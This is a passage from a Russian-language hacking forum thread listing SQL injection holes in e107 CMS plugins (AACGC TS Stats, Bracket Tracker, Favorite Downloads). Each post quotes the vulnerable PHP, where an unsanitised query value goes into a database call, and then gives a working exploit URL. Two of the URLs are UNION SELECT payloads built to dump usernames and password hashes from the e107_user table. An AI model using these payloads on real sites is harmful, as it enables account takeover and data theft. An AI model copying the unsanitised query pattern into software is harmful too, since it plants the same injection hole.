$_GET['zrus'])){
$isd_zrus $_GET['i'];
     
$sql -> db_Select("knp""*""ix ='$isd_zrus'");
... 
Online вне форума   Ответить с цитированием
Старый 02.02.2011, 14:48   #45
Online
 
Аватар для Online
 
Регистрация: 31.01.2011
Сообщений: 10
Репутация: 10
По умолчанию

Plugin name: AACGC TS 2&3 Stats (download)
Version: 1.3

SQL inj

Vuln file: e107_plugins/aacgc_psapi/PS3API_Details.php
PHP код:
///
if (e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}

$sql ->db_Select("user_extended""*""WHERE user_extended_id=$sub_action","");
/// 
Exploit:
Код:
http://[host]/[path]/e107_plugins/aacgc_psapi/PS3API_Details.php?det.-1%20union%20select%201,2,3,concat_ws(0x3a,user_name,user_password),5,6%20from%20e107_user%20limit%200,1--
Online вне форума   Ответить с цитированием
Старый 02.02.2011, 17:47   #46
Online
 
Аватар для Online
 
Регистрация: 31.01.2011
Сообщений: 10
Репутация: 10
По умолчанию

Plugin name: AACGC Bracket Tracker (download)
Version: 1.3

SQL inj

Vuln file: e107_plugins/aacgc_btracker/Bracket_Details.php
PHP код:
///
if (e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}


$sql->db_Select("aacgc_bt_cat""*""WHERE cat_id=$sub_action","");
$row $sql->db_Fetch();
/// 
Exploit:
Код:
http://[host]/[path]e107_plugins/aacgc_btracker/Bracket_Details.php?det.-1%20union%20select%201,concat_ws(0x3a,user_name,user_password)%20from%20e107_user%20limit%200,1--
Online вне форума   Ответить с цитированием
Старый 04.02.2011, 16:34   #47
Online
 
Аватар для Online
 
Регистрация: 31.01.2011
Сообщений: 10
Репутация: 10
По умолчанию

Plugin name: AACGC Favorite Downloads (download)
Version: 1.1

SQL inj

Vuln file: e107_plugins/aacgc_favdls/User_Favorites.php
PHP код:
///
if (e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}

$sql->db_Select("aacgc_favdls""*""WHERE user_id = $sub_action ","");
/// 
Exploit:
Код:
http://[host]/[path]/e107_plugins/aacgc_favdls/User_Favorites.php?det.-1 union select 1,2,3--
Online вне форума   Ответить с цитированием
Ответ

Метки
e107 cms, e107 cms vulnerabilities, уязвимости e107 cms

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot